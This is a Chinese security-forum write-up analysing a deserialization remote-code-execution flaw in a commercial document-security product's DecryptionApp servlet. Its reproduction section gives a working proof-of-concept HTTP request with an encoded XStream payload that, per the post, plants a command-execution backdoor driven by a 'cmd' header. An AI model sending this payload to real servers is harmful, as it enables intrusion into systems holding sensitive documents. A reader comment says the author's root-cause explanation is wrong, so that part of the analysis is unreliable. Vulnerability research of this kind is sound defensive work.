问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE
漏洞分析
某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE
某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE ================================== **前情提要**:某通是使用了servlet框架,一般都是先去web.xml寻找相关路由进而确定代码的位置 代码分析 ---- 首先进入到WEB\_INF的web.xml文件中,ctrl+F搜索`DecryptionApp` ![image-20240812154352756](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-1f935b259ffe2b36ead8e484f642ff5b4329342f.png) ctrl点击进入到该这个`com.esafenet.workflow.servlet.DecryptionAppServlet`中,该类继承了`HttpServlet`类,那我们重点关注的就是前端交互的方法即`service`方法中,在该方法中有我们可以控制的参数`request` ![image-20240812154512539](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-b88f59af4fda6ece1d980fa90dfbd6c7bd0b6af9.png) 现在就详细分析下这个`service`方法中的内容 ![image-20240812155048535](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-54dbb648a23c634b56b7159ce85c927eafcf43b0.png) **分析**:我们先分析从65-83行的内容,该部分就是先后创建了以一个实体类`DecryptionApp`,一个List列表,一个实体类`DecryptionAppResp`,之后从前端传过来的数据`request`利用`getXMLFromRequest`方法提取XML格式的字符串数据并利用`fromXML`其将转换为一个`DecryptionApp`对象将其赋值给`dec` 接着分析84-109行 ![image-20240812155704650](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7b0bcb5ec5eec41a0ec0fe0baf5b5092e96c2abd.png) **分析**:先后创建了`Flow`和`FlowDetail`的实例化对象,这两个类都继承了`Serializable`接口,之后获取dec的`UserName`和`Files`的值并且设置了`APPDate`,接着判断list参数是否为空,不为空就是进入for循环中。该for循环中处理了与审批流程相关的文件上传(即list列表中的内容),它检查文件是否重复,若存在这向前端发送相关的XML数据,若不存在就构建出文件路径和列表字符串。 ![image-20240812164028115](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-5138bc0b731fc5a13fbb263316a9af259fd9038f.png) 该代码并没有对前端的数据进行任何的过滤只是进行了简单的数据库查重,这就触发了我们的文件上传漏洞,同时这个Flow类继承了Serialization的接口存在反序列化漏洞 接着从111-270行,因为内容太多并且对我们的漏洞利用没有太大作用我们就简单说一下,这段代码就是处理了工作流(Flow)相关的审批流程包括了审批者的确定、审批级别的分配以及审批状态的初始化 ![image-20240812161608658](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f1d2241a4678c6dbaee950c372920c4efdfd4f1f.png) 接着就是到265-297代码的分析 ![image-20240812163514010](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-dd692f03ca1d48656bd7afa01389b7203bd16f30.png) **分析**:该部分的内容就是将模板名称、标志位以及之前的文件列表字符串设置到工作流对象flow对象中,接着就是进行sql数据库的连接以及调用`flowDao`的`addFlow`方法将`flow`对象添加到数据库。如果操作成功最后将我们的数据以XML的形式反应给前端 总结 -- 该漏洞的形成利用了两个点 1. 在对前端输入的内容中,没有对文件的内容等方法方面进行相关的限制,导致可以上传任意的文件 2. Flow类中继承了`serialize`接口,我们在上传的参数中若存在序列化的内容即可利用它来进行反序列操作,进而造成相关数据的窃取 漏洞复现 ---- **poc** POST /CDGServer3/DecryptionApp?command=GETSYSTEMINFO HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml cmd: whoami NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOA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AIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDFLKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBKHHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDHPHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJFBFPFBDNEJCNPK ![微信图片_20240812164526](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-aa1e68bf504d8d5023c38103ac21f66a8ac68e2e.png) ### poc的分析 相信大家在这里或多或少对这个poc不大理解,我们对该poc分析一下 我们使用工具对该poc进行解码操作,得到如下内容 ![image-20240812164946571](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-74a26f6d90021b0377427586938d8d6546daed4f.png) ![image-20240812170153604](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3c7d549d69f112d6dd302bfa420c88eed66932c8.png) 在`<byte-array>`发现了类似于base64编码的内容,我们对其进行解码操作,发现解码之后是一个.class文件 ![微信图片_20240812165145](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-a7581153f62ba64cc4372eb3684e8f9480776c61.png) 接着我们利用反编译工具对该.class文件进行反编译操作,得到如下内容 ![image-20240812165405021](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3087defa29affb13b68b300d95a487e2be753efc.png) 分析:该段代码它包含了一个后门,允许攻击者在请求头中发送一个cmd的参数,代码获取名为`cmd`的请求头的值,之后根据操作系统类型(Linux或Windows),`exec()`方法构造不同的命令执行格式。攻击者可以输入一些危险的指令进而获取到对方的一些敏感信息
发表于 2024-08-23 09:00:01
阅读 ( 3184 )
分类:
OA产品
1 推荐
收藏
1 条评论
anfuzzz
1秒前
XStream反序列化TemplatesImpl类加载字节码,和Flow是否继承Serializable没任何关系
请先
登录
后评论
请先
登录
后评论
xhys
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!